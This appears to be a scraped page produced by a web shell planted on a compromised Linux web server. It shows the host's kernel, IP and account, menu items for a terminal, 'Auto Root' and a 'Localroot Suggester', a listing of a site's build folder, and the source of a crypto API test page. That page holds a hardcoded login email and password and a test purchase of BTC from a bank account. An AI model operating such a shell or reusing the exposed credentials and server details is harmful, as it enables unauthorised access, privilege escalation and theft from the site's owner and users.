Linux velvet.gennetworks.in 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
LiteSpeed
Server IP : 161.129.70.235 & Your IP : 216.73.216.5
Domains :
Cant Read [ /etc/named.conf ]
User : virtueex
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
virtueex /
firstheritageinc.com /
build /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2026-02-26 13:22
cgi-bin
[ DIR ]
drwxr-xr-x
2026-01-21 17:05
logos
[ DIR ]
drwxr-xr-x
2025-10-21 20:12
static
[ DIR ]
drwxr-xr-x
2025-10-21 20:13
.htaccess
259
B
-rw-r--r--
2026-02-20 01:08
app-icon.png
382.59
KB
-rw-r--r--
2025-05-29 22:17
asset-manifest.json
1.91
KB
-rw-r--r--
2025-10-21 20:13
favicon.ico
3.78
KB
-rw-r--r--
2025-05-29 07:56
firstcapital-appicon.png
382.59
KB
-rw-r--r--
2025-05-29 21:26
firstcapital-logo.png
101.87
KB
-rw-r--r--
2025-05-29 21:26
index.html
4.05
KB
-rw-r--r--
2025-10-21 20:13
logo192.png
5.22
KB
-rw-r--r--
2025-05-29 07:56
logo512.png
9.44
KB
-rw-r--r--
2025-05-29 07:56
manifest.json
769
B
-rw-r--r--
2025-08-25 18:46
robots.txt
67
B
-rw-r--r--
2025-05-29 07:56
test-crypto.html
4.92
KB
-rw-r--r--
2025-06-09 21:59
version.json
141
B
-rw-r--r--
2025-10-21 20:12
Save
Rename
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Crypto API Test</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .result { background: #f5f5f5; padding: 10px; margin: 10px 0; border-radius: 4px; } .error { background: #ffe6e6; border: 1px solid #ff9999; } .success { background: #e6ffe6; border: 1px solid #99ff99; } button { background: #007bff; color: white; border: none; padding: 10px 15px; margin: 5px; border-radius: 4px; cursor: pointer; } </style> </head> <body> <h1>Crypto API Test</h1> <div> <button onclick="login()">Login</button> <button onclick="testPortfolio()">Test Portfolio</button> <button onclick="testMarketData()">Test Market Data</button> <button onclick="testBuy()">Test Buy</button> </div> <div id="results"></div> <script> let authToken = ''; function log(message, type = 'info') { const div = document.createElement('div'); div.className = `result ${type}`; div.innerHTML = `<strong>${new Date().toLocaleTimeString()}:</strong> ${message}`; document.getElementById('results').appendChild(div); } async function login() { try { const response = await fetch('https://api.firstheritageinc.com/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ email: 'john@firstheritagebank.com', password: 'password123' }) }); const data = await response.json(); if (data.status === 'success') { authToken = data.data.token; log(`Login successful! Token: ${authToken.substring(0, 20)}...`, 'success'); } else { log(`Login failed: ${data.message}`, 'error'); } } catch (error) { log(`Login error: ${error.message}`, 'error'); } } async function testPortfolio() { if (!authToken) { log('Please login first!', 'error'); return; } try { const response = await fetch('https://api.firstheritageinc.com/api/crypto/portfolio', { headers: { 'Authorization': `Bearer ${authToken}`, 'Content-Type': 'application/json', } }); const data = await response.json(); log(`Portfolio response: ${JSON.stringify(data, null, 2)}`, 'success'); } catch (error) { log(`Portfolio error: ${error.message}`, 'error'); } } async function testMarketData() { if (!authToken) { log('Please login first!', 'error'); return; } try { const response = await fetch('https://api.firstheritageinc.com/api/crypto/market-data', { headers: { 'Authorization': `Bearer ${authToken}`, 'Content-Type': 'application/json', } }); const data = await response.json(); log(`Market data response: ${JSON.stringify(data, null, 2)}`, 'success'); } catch (error) { log(`Market data error: ${error.message}`, 'error'); } } async function testBuy() { if (!authToken) { log('Please login first!', 'error'); return; } try { const response = await fetch('https://api.firstheritageinc.com/api/crypto/buy', { method: 'POST', headers: { 'Authorization': `Bearer ${authToken}`, 'Content-Type': 'application/json', }, body: JSON.stringify({ symbol: 'BTC', amount_usd: 10, bank_account_id: 1 }) }); const data = await response.json(); log(`Buy response: ${JSON.stringify(data, null, 2)}`, data.status === 'success' ? 'success' : 'error'); } catch (error) { log(`Buy error: ${error.message}`, 'error'); } } </script> </body> </html>